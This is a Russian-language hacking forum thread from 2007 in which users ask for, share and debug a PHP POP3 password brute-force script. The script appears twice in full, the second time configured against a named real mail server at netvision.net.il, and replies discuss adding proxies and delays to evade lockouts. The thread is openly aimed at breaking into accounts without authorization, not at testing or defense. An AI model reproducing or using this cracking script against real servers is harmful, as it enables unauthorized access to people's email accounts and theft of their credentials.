 |
|
Нужен скрипт на пхп иле перл. |
31.07.2007, 17:43
|
|
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
С нами:
10119206
Репутация:
412
|
|
Нужен скрипт на пхп иле перл.
-Всем привет,я очень нуждаюсь в скрипте для брута поп3 на пхп иле перл.
-Помогите кто может.
|
|
|
31.07.2007, 18:26
|
|
Постоянный
Регистрация: 11.11.2005
Сообщений: 391
С нами:
10787366
Репутация:
2277
|
|
вот елементарный пример.. мона прикрутить поддержку проксей и тд..
PHP код:
<?
/*
Simple POP3 Bruter v 0.2
30/05/05 (с) drmist
*/
$port=110;
$host='127.0.0.1';
$login='user';
$passwords="passwords.txt";
set_time_limit(0);
$FID=fopen($passwords,"r");
while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);
echo "$pass<br>\r\n";
flush();
$s=fsockopen($host, $port);
if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");
$line=fread($s, 256);
if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");
fputs($s,"PASS $pass\r\n");
$line=fread($s, 256);
if(!ereg("-ERR(.*)",$line))
die("Пароль найден: <b>$pass</b>!");
fclose($s);
}
echo "Работа завершина. Пароль не найден =((";
?>
взято отсюда
_http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
(с) drmist |
|
|
|
31.07.2007, 19:31
|
|
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
С нами:
10119206
Репутация:
412
|
|
halkfild,Проверяй работоспособность скриптов  ато этот не работает.
|
|
|
|
31.07.2007, 20:43
|
|
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
С нами:
9938614
Репутация:
116
|
|
halkfild,Проверяй работоспособность скриптов ато этот не работает.
все работает, тока что проверил
или ты локалхост брутить пытаешься?))
|
|
|
|
31.07.2007, 20:48
|
|
Постоянный
Регистрация: 14.03.2007
Сообщений: 367
С нами:
10084646
Репутация:
161
|
|
Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
|
|
|
|
31.07.2007, 21:02
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
С нами:
9965892
Репутация:
677
|
|
Сообщение от Y.Dmitriy
Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
а еще один цикл со сменой прокси трудно дописать? а вообще чтобы через прокси брутить их понадобятся тысячи
|
|
|
|
31.07.2007, 21:04
|
|
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
С нами:
10119206
Репутация:
412
|
|
D Mak
Проверь хорошо есле скрипт пашет .
Пытаюсь брутить на хост 194,90,5,5 netvision.net.il можеш попробывать.
|
|
|
|
31.07.2007, 21:05
|
|
Постоянный
Регистрация: 11.11.2005
Сообщений: 391
С нами:
10787366
Репутация:
2277
|
|
halkfild,Проверяй работоспособность скриптов ато этот не работает.
вроде работает.. пропиши адресс сервера и юзай..
|
|
|
|
31.07.2007, 21:34
|
|
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
С нами:
10354028
Репутация:
163
|
|
Интересно узнать бы через сколько запросов неверных POP3 банит входящие соединения... и в случаее чего всё таки можно Sleep() прикрутить , если всё таки с проксиками нехочеться замарачиваться....
|
|
|
|
31.07.2007, 22:06
|
|
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
С нами:
9938614
Репутация:
116
|
|
Mo4x™ ? действительно, у мня первый пасс выдавал..
щас испробуй..
PHP код:
<?
/*
Simple POP3 Bruter v 0.2
30/05/05 (с) drmist
*/
$port=110;
$host='pop3.netvision.net.il';
$login='login';
$passwords="passwords.txt";
set_time_limit(0);
$FID=fopen($passwords,"r");
while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);
echo "$pass<br>\r\n";
flush();
$s=fsockopen($host, $port);
if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");
$line=fread($s, 256);
if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");
fputs($s,"USER $login\r\n");
$line=fread($s, 256);
if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");
fputs($s,"PASS $pass\r\n");
$line=fread($s, 256);
if(ereg("(OK)",$line))
die("Пароль найден: <b>$pass</b>!");
fclose($s);
}
echo "Работа завершина. Пароль не найден =((";
?>
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
